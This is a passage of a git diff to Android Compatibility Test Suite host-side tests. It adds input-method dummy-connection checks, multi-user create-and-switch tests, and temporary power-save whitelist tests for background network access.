+ String[] uidLineParts = uidLine.split(":");
+ // 3rd entry is package uid
+ assertTrue(uidLineParts.length > 2);
+ int uid = Integer.parseInt(uidLineParts[2].trim());
+ assertTrue(uid > 10000);
+ return uid;
+ }
+
+ /**
+ * Runs a (background) service to perform the given action, and waits for
+ * the device to report that the action has finished (via a logcat message) before returning.
+ *
+ * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+ * action to perform.
+ * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+ * @return A string, representing a random integer, assigned to this particular request for the
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
+ */
+ private String executeBackground(String actionValue, int maxTimeMs) throws Exception {
+ String requestCode = executeBackground(actionValue);
+ String searchString = getCompletedActionString(actionValue, requestCode);
+ checkLogcatForText(BG_VS_FG_TAG, searchString, maxTimeMs);
+ return requestCode;
+ }
+
+ /**
+ * Runs a (background) service to perform the given action.
+ *
+ * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+ * action to perform.
+ * @return A string, representing a random integer, assigned to this particular request for the
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
+ */
+ private String executeBackground(String actionValue) throws Exception {
+ allowBackgroundServices();
+ String requestCode = Integer.toString(new Random().nextInt());
+ getDevice().executeShellCommand(String.format(
+ "am startservice -n '%s' -e %s %s -e %s %s",
+ DEVICE_SIDE_BG_SERVICE_COMPONENT,
+ KEY_ACTION, actionValue,
+ KEY_REQUEST_CODE, requestCode));
+ return requestCode;
+ }
+
+ /**
+ * Required to successfully start a background service from adb in O.
+ */
+ private void allowBackgroundServices() throws Exception {
+ getDevice().executeShellCommand(String.format(
+ "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
+ }
+
+ /**
+ * Runs an activity (in the foreground) to perform the given action, and waits
+ * for the device to report that the action has finished (via a logcat message) before
+ * returning.
+ *
+ * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+ * action to perform.
+ * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+ * @return A string, representing a random integer, assigned to this particular request for the
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
+ */
+ private String executeForeground(String actionValue, int maxTimeMs) throws Exception {
+ String requestCode = executeForeground(actionValue);
+ String searchString = getCompletedActionString(actionValue, requestCode);
+ checkLogcatForText(BG_VS_FG_TAG, searchString, maxTimeMs);
+ return requestCode;
+ }
+
+ /**
+ * Runs an activity (in the foreground) to perform the given action.
+ *
+ * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
+ * action to perform.
+ * @return A string, representing a random integer, assigned to this particular request for the
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
+ */
+ private String executeForeground(String actionValue) throws Exception {
+ String requestCode = Integer.toString(new Random().nextInt());
+ getDevice().executeShellCommand(String.format(
+ "am start -n '%s' -e %s %s -e %s %s",
+ DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
+ KEY_ACTION, actionValue,
+ KEY_REQUEST_CODE, requestCode));
+ return requestCode;
+ }
+
+ /**
+ * The string that will be printed in the logcat when the action completes. This needs to be
+ * identical to
+ * {@link com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions#tellHostActionFinished}.
+ */
+ private String getCompletedActionString(String actionValue, String requestCode) {
+ return String.format("Completed performing %s for request %s", actionValue, requestCode);
+ }
+
+ /**
+ * Determines if the device has the given feature.
+ * Prints a warning if its value differs from requiredAnswer.
+ */
+ private boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
+ final String features = getDevice().executeShellCommand("pm list features");
+ boolean hasIt = features.contains(featureName);
+ if (hasIt != requiredAnswer) {
+ LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
+ + featureName);
+ }
+ return hasIt;
+ }
+
+}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
index 307693a..89a21f2 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
@@ -80,7 +80,14 @@
/**
* Param for {@link DeviceEventType#ON_START_INPUT}. Represents if IME is restarting.
*/
- ON_START_INPUT_RESTARTING(DeviceEventType.ON_START_INPUT, "onStartInput.restarting");
+ ON_START_INPUT_RESTARTING(DeviceEventType.ON_START_INPUT, "onStartInput.restarting"),
+
+ /**
+ * Param for {@link DeviceEventType#ON_START_INPUT}. Represents if it's backed by a dummy
+ * {@link android.view.inputmethod.InputConnection}.
+ */
+ ON_START_INPUT_DUMMY_INPUT_CONNECTION(DeviceEventType.ON_START_INPUT,
+ "onStartInput.dummyinputconnection");
private final DeviceEventType mType;
private final String mName;
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index e5613ff..d9593a5 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static android.inputmethodservice.cts.DeviceEvent.isFrom;
@@ -72,8 +73,7 @@
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE))),
TIMEOUT, "CtsInputMethod1.onCreate is called");
final long startActivityTime = SystemClock.uptimeMillis();
@@ -81,8 +81,7 @@
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(startActivityTime))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
}
@@ -94,8 +93,7 @@
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE))),
TIMEOUT, "CtsInputMethod1.onCreate is called");
final long startActivityTime = SystemClock.uptimeMillis();
@@ -103,8 +101,7 @@
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(startActivityTime))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
helper.findUiObject(R.id.text_entry).click();
@@ -121,8 +118,7 @@
TIMEOUT, "CtsInputMethod2 is current IME");
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(switchImeTime))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_DESTROY)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_DESTROY))),
TIMEOUT, "CtsInputMethod1.onDestroy is called");
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(switchImeTime))
@@ -157,13 +153,11 @@
helper.findUiObject(R.id.search_view).click();
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(SHOW_SOFT_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(SHOW_SOFT_INPUT))),
TIMEOUT, "CtsInputMethod1.showSoftInput is called");
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
}
@@ -182,13 +176,11 @@
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_FINISH_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_FINISH_INPUT))),
TIMEOUT, "CtsInputMethod1.onFinishInput is called");
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(HIDE_SOFT_INPUT)))
- .findAny().isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(HIDE_SOFT_INPUT))),
TIMEOUT, "CtsInputMethod1.hideSoftInput is called");
}
@@ -203,9 +195,7 @@
// we should've only one onStartInput call.
pollingCheck(() -> helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
- .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
- .findAny()
- .isPresent(),
+ .anyMatch(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT))),
TIMEOUT, "CtsInputMethod1.onStartInput is called");
List<DeviceEvent> startInputEvents = helper.queryAllEvents()
.collect(startingFrom(helper.isStartOfTest()))
@@ -218,10 +208,15 @@
// check if that single event didn't cause IME restart.
final DeviceEvent event = startInputEvents.get(0);
- Boolean isRestarting = DeviceEvent.getEventParamBoolean(
+ final Boolean isRestarting = DeviceEvent.getEventParamBoolean(
DeviceEventTypeParam.ON_START_INPUT_RESTARTING, event);
- assertTrue(isRestarting != null);
+ assertNotNull(isRestarting);
assertFalse(isRestarting);
+
+ final Boolean isDummyInputConnection = DeviceEvent.getEventParamBoolean(
+ DeviceEventTypeParam.ON_START_INPUT_DUMMY_INPUT_CONNECTION, event);
+ assertNotNull(isDummyInputConnection);
+ assertFalse(isDummyInputConnection);
}
/**
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
index a935f0b..59692a6 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
package android.inputmethodservice.cts.devicetest;
import java.util.function.BiConsumer;
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
index 36b711e..996dad9 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
package android.inputmethodservice.cts.devicetest;
import java.util.ArrayList;
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
index ff412ef..cd2c557 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
@@ -277,19 +277,16 @@
public static Boolean getEventParamBoolean(
DeviceEventTypeParam eventParam, final DeviceEvent event) {
StringReader stringReader = new StringReader(event.paramsString);
- JsonReader reader = new JsonReader(stringReader);
-
- try {
+ try (JsonReader reader = new JsonReader(stringReader)) {
reader.beginObject();
while (reader.hasNext()) {
String name = reader.nextName();
if (name.equals(eventParam.getName())) {
Boolean value = reader.nextBoolean();
- reader.endObject();
return value;
}
+ reader.skipValue();
}
- reader.endObject();
} catch (IOException e) {
throw new RuntimeException("DeviceEvent.getEventParamBoolean() failed.", e);
}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
index b37873c..3a99e71 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
@@ -33,6 +33,7 @@
import android.os.ResultReceiver;
import android.util.Log;
import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputBinding;
import android.view.inputmethod.InputConnection;
import java.util.function.Consumer;
@@ -80,15 +81,19 @@
@Override
public void onStartInput(EditorInfo editorInfo, boolean restarting) {
+ final boolean dummyConnection =
+ getCurrentInputConnection() == getCurrentInputBinding().getConnection();
if (DEBUG) {
Log.d(mLogTag, "onStartInput:"
+ " editorInfo=" + editorInfo
- + " restarting=" + restarting);
+ + " restarting=" + restarting
+ + " dummyConnection=" + dummyConnection);
}
sendEvent(DeviceEvent.builder()
.setType(ON_START_INPUT)
- .with(DeviceEventTypeParam.ON_START_INPUT_RESTARTING, restarting));
+ .with(DeviceEventTypeParam.ON_START_INPUT_RESTARTING, restarting)
+ .with(DeviceEventTypeParam.ON_START_INPUT_DUMMY_INPUT_CONNECTION, dummyConnection));
super.onStartInput(editorInfo, restarting);
}
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 02c3e55..bc906a0 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -17,12 +17,15 @@
package android.inputmethodservice.cts.hostside;
import static android.inputmethodservice.cts.common.DeviceEventConstants.ACTION_DEVICE_EVENT;
-import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_SENDER;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TYPE;
import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_COMPONENT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
@@ -33,8 +36,8 @@
import android.inputmethodservice.cts.common.test.ShellCommandUtils;
import android.inputmethodservice.cts.common.test.TestInfo;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.After;
import org.junit.Before;
@@ -42,7 +45,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class InputMethodServiceLifecycleTest extends CompatibilityHostTestBase {
+public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test {
private String mDefaultImeId;
@@ -59,7 +62,6 @@
@After
public void tearDown() throws Exception {
shell(ShellCommandUtils.setCurrentIme(mDefaultImeId));
- cleanUpTestImes();
}
@Test
@@ -85,7 +87,12 @@
sendTestStartEvent(testIme1IsNotCurrentIme);
uninstallPackageIfExists(Ime1Constants.PACKAGE);
assertTrue(runDeviceTestMethod(testIme1IsNotCurrentIme));
- assertEquals(shell(ShellCommandUtils.getCurrentIme()), mDefaultImeId);
+
+ // There should be a new IME that is different from the IME1
+ final String newIme = shell(ShellCommandUtils.getCurrentIme());
+ assertNotNull(newIme);
+ assertFalse(newIme.isEmpty());
+ assertNotEquals(newIme, Ime1Constants.IME_ID);
}
@Test
@@ -97,7 +104,12 @@
sendTestStartEvent(testIme1IsNotCurrentIme);
shell(ShellCommandUtils.disableIme(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testIme1IsNotCurrentIme));
- assertEquals(shell(ShellCommandUtils.getCurrentIme()), mDefaultImeId);
+
+ // There should be a new IME that is different from the IME1
+ final String newIme = shell(ShellCommandUtils.getCurrentIme());
+ assertNotNull(newIme);
+ assertFalse(newIme.isEmpty());
+ assertNotEquals(newIme, Ime1Constants.IME_ID);
}
@Test
@@ -166,8 +178,8 @@
}
private void uninstallPackageIfExists(final String packageName) throws Exception {
- if (isPackageInstalled(packageName)) {
- uninstallPackage(packageName);
+ if (isPackageInstalled(getDevice(), packageName)) {
+ uninstallPackage(getDevice(), packageName);
}
}
}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
index 3c1f14e..e7be900 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/ReportProcessor.java
@@ -140,6 +140,8 @@
instrTest.addIncludeFilter(fullTestName);
instrTest.setTestTimeout(testTimeout);
instrTest.setShellTimeout(shellTimeout);
+ // disable rerun mode to avoid collecting tests first then running.
+ instrTest.setRerunMode(false);
for (Entry<String, String> e : getArgs().entrySet()) {
instrTest.addInstrumentationArg(e.getKey(), e.getValue());
}
diff --git a/hostsidetests/multiuser/Android.mk b/hostsidetests/multiuser/Android.mk
index 9827ca7..e4c654d 100644
--- a/hostsidetests/multiuser/Android.mk
+++ b/hostsidetests/multiuser/Android.mk
@@ -22,7 +22,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
+LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed platform-test-annotations-host
LOCAL_CTS_TEST_PACKAGE := android.host.multiuser
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 5d4b89e..5a3a04f 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -16,8 +16,9 @@
package android.host.multiuser;
+import android.platform.test.annotations.Presubmit;
+
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
import java.util.LinkedHashSet;
import java.util.Scanner;
@@ -25,11 +26,12 @@
/**
* Test verifies that users can be created/switched to without error dialogs shown to the user
+ * Run: atest CreateUsersNoAppCrashesTest
*/
public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
private int mInitialUserId;
private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
- private static final long BOOT_COMPLETED_TIMEOUT_MS = 120000;
+ private static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 120000;
@Override
protected void setUp() throws Exception {
@@ -37,6 +39,7 @@
mInitialUserId = getDevice().getCurrentUser();
}
+ @Presubmit
public void testCanCreateGuestUser() throws Exception {
if (!mSupportsMultiUser) {
return;
@@ -45,31 +48,68 @@
"TestUser_" + System.currentTimeMillis() /* name */,
true /* guest */,
false /* ephemeral */);
- getDevice().executeAdbCommand("logcat", "-c"); // Reset log
- assertTrue("Couldn't switch to user " + userId, getDevice().switchUser(userId));
- Set<String> appErrors = new LinkedHashSet<>();
- assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors=" + appErrors,
- waitForBootCompleted(appErrors, userId));
- assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
- assertTrue("Couldn't switch to user " + userId, getDevice().switchUser(mInitialUserId));
+ assertSwitchToNewUser(userId);
+ assertSwitchToUser(userId, mInitialUserId);
}
- private boolean waitForBootCompleted(Set<String> appErrors, int targetUserId)
- throws DeviceNotAvailableException, InterruptedException {
+ @Presubmit
+ public void testCanCreateSecondaryUser() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+ int userId = getDevice().createUser(
+ "TestUser_" + System.currentTimeMillis() /* name */,
+ false /* guest */,
+ false /* ephemeral */);
+ assertSwitchToNewUser(userId);
+ assertSwitchToUser(userId, mInitialUserId);
+ }
+
+ private void assertSwitchToNewUser(int toUserId) throws Exception {
+ final String exitString = "Finished processing BOOT_COMPLETED for u" + toUserId;
+ final Set<String> appErrors = new LinkedHashSet<>();
+ getDevice().executeAdbCommand("logcat", "-c"); // Reset log
+ assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+ final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+ assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors="
+ + appErrors, result);
+ assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
+ }
+
+ private void assertSwitchToUser(int fromUserId, int toUserId) throws Exception {
+ final String exitString = "Continue user switch oldUser #" + fromUserId + ", newUser #"
+ + toUserId;
+ final Set<String> appErrors = new LinkedHashSet<>();
+ getDevice().executeAdbCommand("logcat", "-c"); // Reset log
+ assertTrue("Couldn't switch to user " + toUserId, getDevice().switchUser(toUserId));
+ final boolean result = waitForUserSwitchComplete(appErrors, toUserId, exitString);
+ assertTrue("Didn't reach \"Continue user switch\" stage. appErrors=" + appErrors, result);
+ assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
+ }
+
+ private boolean waitForUserSwitchComplete(Set<String> appErrors, int targetUserId,
+ String exitString) throws DeviceNotAvailableException, InterruptedException {
+ boolean mExitFound = false;
long ti = System.currentTimeMillis();
- while (System.currentTimeMillis() - ti < BOOT_COMPLETED_TIMEOUT_MS) {
- String logs = getDevice().executeAdbCommand("logcat", "-v", "brief", "-d");
+ while (System.currentTimeMillis() - ti < USER_SWITCH_COMPLETE_TIMEOUT_MS) {
+ String logs = getDevice().executeAdbCommand("logcat", "-v", "brief", "-d",
+ "ActivityManager:D", "AndroidRuntime:E", "*:S");
Scanner in = new Scanner(logs);
while (in.hasNextLine()) {
String line = in.nextLine();
if (line.contains("Showing crash dialog for package")) {
appErrors.add(line);
- } else if (line.contains("Finished processing BOOT_COMPLETED for u" + targetUserId)) {
- return true;
+ } else if (line.contains(exitString)) {
+ // Parse all logs in case crashes occur as a result of onUserChange callbacks
+ mExitFound = true;
+ } else if (line.contains("FATAL EXCEPTION IN SYSTEM PROCESS")) {
+ throw new IllegalStateException("System process crashed - " + line);
}
-
}
in.close();
+ if (mExitFound) {
+ return true;
+ }
Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
}
return false;
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index 9a43534..d0c96ec 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -56,8 +56,8 @@
}
final String setRestriction = "pm set-user-restriction no_fun ";
final String output = getDevice().executeShellCommand(setRestriction + "1");
- final boolean isErrorOutput = output.startsWith("Error")
- && output.contains("SecurityException");
+ final boolean isErrorOutput = output.contains("SecurityException")
+ && output.contains("You need MANAGE_USERS permission");
assertTrue("Trying to set user restriction should fail with SecurityException. "
+ "command output: " + output, isErrorOutput);
}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
index d2c0873..133a43b 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
@@ -127,6 +127,19 @@
assertBackgroundNetworkAccess(false);
}
+ public void testBackgroundNetworkAccess_tempWhitelisted() throws Exception {
+ if (!isSupported()) return;
+
+ setAppIdle(true);
+ assertBackgroundNetworkAccess(false);
+
+ addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(true);
+ // Wait until the whitelist duration is expired.
+ SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(false);
+ }
+
public void testBackgroundNetworkAccess_disabled() throws Exception {
if (!isSupported()) return;
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index 1c46396..677e886 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -107,6 +107,8 @@
private static final String APP_NOT_FOREGROUND_ERROR = "app_not_fg";
+ protected static final long TEMP_POWERSAVE_WHITELIST_DURATION_MS = 5_000; // 5 sec
+
protected Context mContext;
protected Instrumentation mInstrumentation;
protected ConnectivityManager mCm;
@@ -137,6 +139,7 @@
enableLocation();
}
mSupported = setUpActiveNetworkMeteringState();
+ setAppIdle(false);
Log.i(TAG, "Apps status on " + getName() + ":\n"
+ "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
@@ -744,6 +747,12 @@
+ ". Full list: " + uids);
}
+ protected void addTempPowerSaveModeWhitelist(String packageName, long duration)
+ throws Exception {
+ Log.i(TAG, "Adding pkg " + packageName + " to temp-power-save-mode whitelist");
+ executeShellCommand("dumpsys deviceidle tempwhitelist -d " + duration + " " + packageName);
+ }
+
protected void assertPowerSaveModeWhitelist(String packageName, boolean expected)
throws Exception {
// TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
index 5248255..76332be 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
@@ -15,6 +15,7 @@
*/
package com.android.cts.net.hostside;
+import android.os.SystemClock;
import android.util.Log;
/**
@@ -271,4 +272,55 @@
setDozeMode(false);
}
}
+
+ public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
+ if (!isSupported()) {
+ return;
+ }
+ if (!isDozeModeEnabled()) {
+ Log.i(TAG, "Skipping " + getClass() + "." + getName()
+ + "() because device does not support Doze Mode");
+ return;
+ }
+
+ setDozeMode(true);
+ setAppIdle(true);
+
+ try {
+ assertBackgroundNetworkAccess(false);
+
+ addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(true);
+
+ // Wait until the whitelist duration is expired.
+ SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(false);
+ } finally {
+ setAppIdle(false);
+ setDozeMode(false);
+ }
+ }
+
+ public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
+ if (!isSupported()) {
+ return;
+ }
+
+ setBatterySaverMode(true);
+ setAppIdle(true);
+
+ try {
+ assertBackgroundNetworkAccess(false);
+
+ addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
+ assertBackgroundNetworkAccess(true);
+
+ // Wait until the whitelist duration is expired.
+ SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
